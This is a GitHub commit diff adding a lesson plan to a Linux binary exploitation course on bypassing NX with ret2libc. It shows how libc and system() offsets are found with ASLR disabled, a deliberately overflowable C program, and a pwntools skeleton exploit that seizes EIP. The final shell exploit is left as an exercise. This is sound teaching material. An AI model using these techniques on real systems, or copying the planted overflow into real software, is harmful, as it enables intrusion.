Skip to content

Commit 4b53152

Browse files
committed
Completed section 7
1 parent be410fb commit 4b53152

File tree

5 files changed

+268
-7
lines changed

5 files changed

+268
-7
lines changed

README.md

Lines changed: 9 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -20,13 +20,13 @@ the video.
2020
## Syllabus
2121

2222
1. [Setting Up the Environment]
23-
2. How Does a Linux Binary Work?
23+
2. [How Does a Linux Binary Work?]
2424
3. [Introduction to PEDA and Pwntools]
2525
4. [Classic Exploitation Technique]
26-
5. Linux Binary Protections
26+
5. [Linux Binary Protections]
2727
6. [Bypassing NX with Return Oriented Programming]
2828
7. [Bypassing NX with Ret2Libc]
29-
8. ASLR in Depth
29+
8. [ASLR in Depth]
3030
9. [Bypassing ASLR/NX with Ret2PLT]
3131
10. [Bypassing ASLR/NX with GOT Overwrite]
3232
11. [Memory Leaks]
@@ -36,16 +36,20 @@ the video.
3636

3737
## Future Syllabus
3838

39-
1. Heap Overflows
40-
2. Use After Free
39+
1. A History Lesson: Heap Metadata Attacks
40+
2. Heap Overflows
41+
3. Use After Free
4142

4243
[Introduction to Return Oriented Programming]: https://youtu.be/ruJXvxXzyU8
4344
[lesson plan]: https://github.com/nnamon/PracticalRet2Libc/blob/master/docs/lessonplans/1_practicalrop/lessonplan.md
4445
[Setting Up The Environment]: ./lessons/1_setting_up_environment/lessonplan.md
46+
[How Does a Linux Binary Work?]: ./lessons/2_linux_binaries/lessonplan.md
4547
[Introduction to PEDA and Pwntools]: ./lessons/3_intro_to_tools/lessonplan.md
4648
[Classic Exploitation Technique]: ./lessons/4_classic_exploitation/lessonplan.md
49+
[Linux Binary Protections]: ./lessons/5_protections/lessonplan.md
4750
[Bypassing NX with Return Oriented Programming]: ./lessons/6_bypass_nx_rop/lessonplan.md
4851
[Bypassing NX with Ret2Libc]: ./lessons/7_bypass_nx_ret2libc/lessonplan.md
52+
[ASLR in Depth]: ./lessons/8_aslr/lessonplan.md
4953
[Bypassing ASLR/NX with Ret2PLT]: ./lessons/9_bypass_ret2plt/lessonplan.md
5054
[Bypassing ASLR/NX with GOT Overwrite]: ./lessons/10_bypass_got/lessonplan.md
5155
[Memory Leaks]: ./lessons/11_memory_leaks/lessonplan.md

lessons/2_linux_binaries/lessonplan.md

Whitespace-only changes.

lessons/5_protections/lessonplan.md

Whitespace-only changes.
Lines changed: 259 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -1,4 +1,261 @@
11
# Bypassing NX with Ret2Libc
22

3-
<Talk about finding the base address of libc and directly jumping to it.>
4-
<No remote examples since ASLR is still off>
3+
We were able to pick from a wealth of ROP gadgets to construct the ROP chain in
4+
the previous section because the binary was huge. Now, what happens if the
5+
binary we have to attack is not large enough to provide us the gadgets we need?
6+
7+
One possible solution, since ASLR is disabled, would be to search for our
8+
gadgets in the shared libraries loaded by the program such as libc.
9+
However, if we had these addresses into libc, we could simplify our exploit to
10+
reuse useful functions. One such useful function could be the amazing `system()`
11+
function.
12+
13+
## Investigating Shared Libraries
14+
15+
To investigate this, we can create a diagnostic binary to introspectively look
16+
at the virtual memory map and to print us the resolved `system()` address. The
17+
[source][1] is as follows:
18+
19+
```c
20+
#define _GNU_SOURCE
21+
#include <stdlib.h>
22+
#include <stdio.h>
23+
#include <dlfcn.h>
24+
#include <unistd.h>
25+
26+
27+
int main() {
28+
puts("This program helps visualise where libc is loaded.\n");
29+
int pid = getpid();
30+
char command[500];
31+
puts("Memory Layout: ");
32+
sprintf(command, "cat /proc/%d/maps", pid);
33+
system(command);
34+
puts("\nFunction Addresses: ");
35+
printf("System@libc 0x%lx\n", dlsym(RTLD_NEXT, "system"));
36+
printf("PID: %d\n", pid);
37+
puts("Press enter to continue.");
38+
read(0, command, 1);
39+
}
40+
```
41+
42+
I have compiled two versions of the binary, a [32 bit version][2] and a [64 bit
43+
version][3].
44+
45+
Running the 32 bit one:
46+
47+
```shell
48+
amon@bethany:~/sproink/linux-exploitation-course/lessons/7_bypass_nx_ret2libc/build$ ./1_reveal_addresses
49+
This program helps visualise where libc is loaded.
50+
51+
Memory Layout:
52+
08048000-08049000 r-xp 00000000 00:27 329 /vagrant/lessons/7_bypass_nx_ret2libc/build/1_reveal_addresses
53+
08049000-0804a000 r--p 00000000 00:27 329 /vagrant/lessons/7_bypass_nx_ret2libc/build/1_reveal_addresses
54+
0804a000-0804b000 rw-p 00001000 00:27 329 /vagrant/lessons/7_bypass_nx_ret2libc/build/1_reveal_addresses
55+
0804b000-0806c000 rw-p 00000000 00:00 0 [heap]
56+
f7e0f000-f7e10000 rw-p 00000000 00:00 0
57+
f7e10000-f7fbf000 r-xp 00000000 08:01 256310 /lib/i386-linux-gnu/libc-2.23.so
58+
f7fbf000-f7fc0000 ---p 001af000 08:01 256310 /lib/i386-linux-gnu/libc-2.23.so
59+
f7fc0000-f7fc2000 r--p 001af000 08:01 256310 /lib/i386-linux-gnu/libc-2.23.so
60+
f7fc2000-f7fc3000 rw-p 001b1000 08:01 256310 /lib/i386-linux-gnu/libc-2.23.so
61+
f7fc3000-f7fc6000 rw-p 00000000 00:00 0
62+
f7fc6000-f7fc9000 r-xp 00000000 08:01 256309 /lib/i386-linux-gnu/libdl-2.23.so
63+
f7fc9000-f7fca000 r--p 00002000 08:01 256309 /lib/i386-linux-gnu/libdl-2.23.so
64+
f7fca000-f7fcb000 rw-p 00003000 08:01 256309 /lib/i386-linux-gnu/libdl-2.23.so
65+
f7fd4000-f7fd6000 rw-p 00000000 00:00 0
66+
f7fd6000-f7fd8000 r--p 00000000 00:00 0 [vvar]
67+
f7fd8000-f7fd9000 r-xp 00000000 00:00 0 [vdso]
68+
f7fd9000-f7ffb000 r-xp 00000000 08:01 256300 /lib/i386-linux-gnu/ld-2.23.so
69+
f7ffb000-f7ffc000 rw-p 00000000 00:00 0
70+
f7ffc000-f7ffd000 r--p 00022000 08:01 256300 /lib/i386-linux-gnu/ld-2.23.so
71+
f7ffd000-f7ffe000 rw-p 00023000 08:01 256300 /lib/i386-linux-gnu/ld-2.23.so
72+
fffdd000-ffffe000 rw-p 00000000 00:00 0 [stack]
73+
74+
Function Addresses:
75+
System@libc 0xf7e4ada0
76+
PID: 20738
77+
Press enter to continue.
78+
```
79+
80+
Note the base address of libc-2-2.23.so (0xf7e10000) and the resolved address of
81+
system (0xf7e4ada0). Let's subtract the address of the base address from the
82+
address of system to get the system offset.
83+
84+
```shell
85+
In [15]: 0xf7e4ada0-0xf7e10000
86+
Out[15]: 241056
87+
In [16]: hex(0xf7e4ada0-0xf7e10000)
88+
Out[16]: '0x3ada0'
89+
```
90+
91+
Take note of that offset, 0x3ada0. Next, we can disassemble the libc shared
92+
object and look for the start of the system function.
93+
94+
95+
```shell
96+
ubuntu@ubuntu-xenial:/vagrant/lessons/7_bypass_nx_ret2libc/build$ objdump -d /lib/i386-linux-gnu/libc-2.23.so | grep system
97+
0003ada0 <__libc_system@@GLIBC_PRIVATE>:
98+
3adb4: 74 0a je 3adc0 <__libc_system@@GLIBC_PRIVATE+0x20>
99+
00112d60 <svcerr_systemerr@@GLIBC_2.0>:
100+
```
101+
102+
That's a bingo. Notice how the offset we calculated previously is the same as
103+
the address of `__libc_system@@GLIBC_PRIVATE`.
104+
105+
We can repeat this with the 64 bit one:
106+
107+
```shell
108+
This program helps visualise where libc is loaded.
109+
110+
Memory Layout:
111+
00400000-00401000 r-xp 00000000 08:06 17434884 /home/amon/sproink/linux-exploitation-course/lessons/7_bypass_nx_ret2libc/build/2_reveal_addresses64
112+
00600000-00601000 r--p 00000000 08:06 17434884 /home/amon/sproink/linux-exploitation-course/lessons/7_bypass_nx_ret2libc/build/2_reveal_addresses64
113+
00601000-00602000 rw-p 00001000 08:06 17434884 /home/amon/sproink/linux-exploitation-course/lessons/7_bypass_nx_ret2libc/build/2_reveal_addresses64
114+
01609000-0162a000 rw-p 00000000 00:00 0 [heap]
115+
7f649ccfe000-7f649cebd000 r-xp 00000000 08:06 262743 /lib/x86_64-linux-gnu/libc-2.23.so
116+
7f649cebd000-7f649d0bd000 ---p 001bf000 08:06 262743 /lib/x86_64-linux-gnu/libc-2.23.so
117+
7f649d0bd000-7f649d0c1000 r--p 001bf000 08:06 262743 /lib/x86_64-linux-gnu/libc-2.23.so
118+
7f649d0c1000-7f649d0c3000 rw-p 001c3000 08:06 262743 /lib/x86_64-linux-gnu/libc-2.23.so
119+
7f649d0c3000-7f649d0c7000 rw-p 00000000 00:00 0
120+
7f649d0c7000-7f649d0ca000 r-xp 00000000 08:06 262742 /lib/x86_64-linux-gnu/libdl-2.23.so
121+
7f649d0ca000-7f649d2c9000 ---p 00003000 08:06 262742 /lib/x86_64-linux-gnu/libdl-2.23.so
122+
7f649d2c9000-7f649d2ca000 r--p 00002000 08:06 262742 /lib/x86_64-linux-gnu/libdl-2.23.so
123+
7f649d2ca000-7f649d2cb000 rw-p 00003000 08:06 262742 /lib/x86_64-linux-gnu/libdl-2.23.so
124+
7f649d2cb000-7f649d2f1000 r-xp 00000000 08:06 262410 /lib/x86_64-linux-gnu/ld-2.23.so
125+
7f649d4cd000-7f649d4d0000 rw-p 00000000 00:00 0
126+
7f649d4ee000-7f649d4f0000 rw-p 00000000 00:00 0
127+
7f649d4f0000-7f649d4f1000 r--p 00025000 08:06 262410 /lib/x86_64-linux-gnu/ld-2.23.so
128+
7f649d4f1000-7f649d4f2000 rw-p 00026000 08:06 262410 /lib/x86_64-linux-gnu/ld-2.23.so
129+
7f649d4f2000-7f649d4f3000 rw-p 00000000 00:00 0
130+
7ffd9f7b7000-7ffd9f7d8000 rw-p 00000000 00:00 0 [stack]
131+
7ffd9f7e0000-7ffd9f7e2000 r--p 00000000 00:00 0 [vvar]
132+
7ffd9f7e2000-7ffd9f7e4000 r-xp 00000000 00:00 0 [vdso]
133+
ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0 [vsyscall]
134+
135+
Function Addresses:
136+
System@libc 0x7f649cd43390
137+
PID: 16781
138+
Press enter to continue.
139+
```
140+
141+
Calculating the difference.
142+
143+
```shell
144+
In [17]: 0x7f649cd43390-0x7f649ccfe000
145+
Out[17]: 283536
146+
In [18]: hex(0x7f649cd43390-0x7f649ccfe000)
147+
Out[18]: '0x45390'
148+
```
149+
150+
Finding the address of system in the 64 bit libc binary.
151+
152+
```shell
153+
ubuntu@ubuntu-xenial:/vagrant/lessons/7_bypass_nx_ret2libc/build$ objdump -d /lib/x86_64-linux-gnu/libc-2.23.so | grep system
154+
0000000000045390 <__libc_system@@GLIBC_PRIVATE>:
155+
45393: 74 0b je 453a0 <__libc_system@@GLIBC_PRIVATE+0x10>
156+
0000000000137c20 <svcerr_systemerr@@GLIBC_2.2.5>:
157+
```
158+
159+
And we have another match.
160+
161+
## Calculating Addresses
162+
163+
This is useful information as now we have a way to calculate the addresses of
164+
useful functions given the base address of libc. Since shared objects are mapped
165+
at the same location without randomisation due to ASLR being disabled, we can
166+
very easily find the addresses of useful things such as the `system()` function
167+
and the `/bin/sh` string by examining the libc shared object on its own.
168+
169+
To make life easier, the ['libc-database' toolset by Niklas Baumstark][4],
170+
provides helper scripts to build a libc database, identify versions of libc from
171+
information leaks, and dump useful offsets. In the vagrant provisioning script,
172+
I have already added the pertinent libc versions used in the exercises.
173+
174+
```shell
175+
ubuntu@ubuntu-xenial:~/libc-database$ ./identify /lib/i386-linux-gnu/libc-2.23.so
176+
id local-03ffe08ba6d5e7f5b1d647f6a14e6837938e3bed
177+
ubuntu@ubuntu-xenial:~/libc-database$ ./dump local-03ffe08ba6d5e7f5b1d647f6a14e6837938e3bed
178+
offset___libc_start_main_ret = 0x18637
179+
offset_system = 0x0003ada0
180+
offset_dup2 = 0x000d6190
181+
offset_read = 0x000d5980
182+
offset_write = 0x000d59f0
183+
offset_str_bin_sh = 0x15b82b
184+
ubuntu@ubuntu-xenial:~/libc-database$
185+
```
186+
187+
## Exploiting a Minimalist Vulnerable Binary
188+
189+
Let's do the opposite of what we did the last section. Instead of attacking a
190+
bloated binary, we are going to attack a really lean and mean one. Something
191+
[like this][5]:
192+
193+
```c
194+
#include <stdio.h>
195+
#include <stdlib.h>
196+
197+
void vuln() {
198+
char buffer[64];
199+
read(0, buffer, 96);
200+
}
201+
202+
int main() {
203+
vuln();
204+
}
205+
```
206+
207+
Running the [binary][6]:
208+
209+
```shell
210+
ubuntu@ubuntu-xenial:/vagrant/lessons/7_bypass_nx_ret2libc/build$ ./3_vulnerable
211+
TEST
212+
ubuntu@ubuntu-xenial:/vagrant/lessons/7_bypass_nx_ret2libc/build$
213+
```
214+
215+
It really does not do much. Here is the [skeleton exploit code][7] to achieve
216+
EIP control.
217+
218+
```python
219+
#!/usr/bin/python
220+
221+
from pwn import *
222+
223+
def main():
224+
# Start the process
225+
p = process("../build/3_vulnerable")
226+
227+
# Print the pid
228+
raw_input(str(p.proc.pid))
229+
230+
# Craft the payload
231+
payload = "A"*76 + p32(0xdeadc0de)
232+
payload = payload.ljust(96, "\x00")
233+
234+
# Send the payload
235+
p.send(payload)
236+
237+
# Pass interaction to the user
238+
p.interactive()
239+
240+
if __name__ == "__main__":
241+
main()
242+
```
243+
244+
## Exercise 7.1: Writing the Final Exploit
245+
246+
At this point, it is simply a matter of finding at which address is libc mapped
247+
onto and then calculating the addresses of useful functions from the offsets we
248+
dumped.
249+
250+
Try to obtain a shell by making the necessary additions to the skeleton code.
251+
Please attempt to do this on your own before looking at the [solution][8].
252+
253+
254+
[1]: ./src/1_reveal_addresses.c
255+
[2]: ./build/1_reveal_addresses
256+
[3]: ./build/2_reveal_addresses64
257+
[4]: https://github.com/niklasb/libc-database
258+
[5]: ./src/2_vulnerable.c
259+
[6]: ./build/3_vulnerable
260+
[7]: ./scripts/1_skeleton.py
261+
[8]: ./script/2_final.py

lessons/8_aslr/lessonplan.md

Whitespace-only changes.

0 commit comments

Comments
 (0)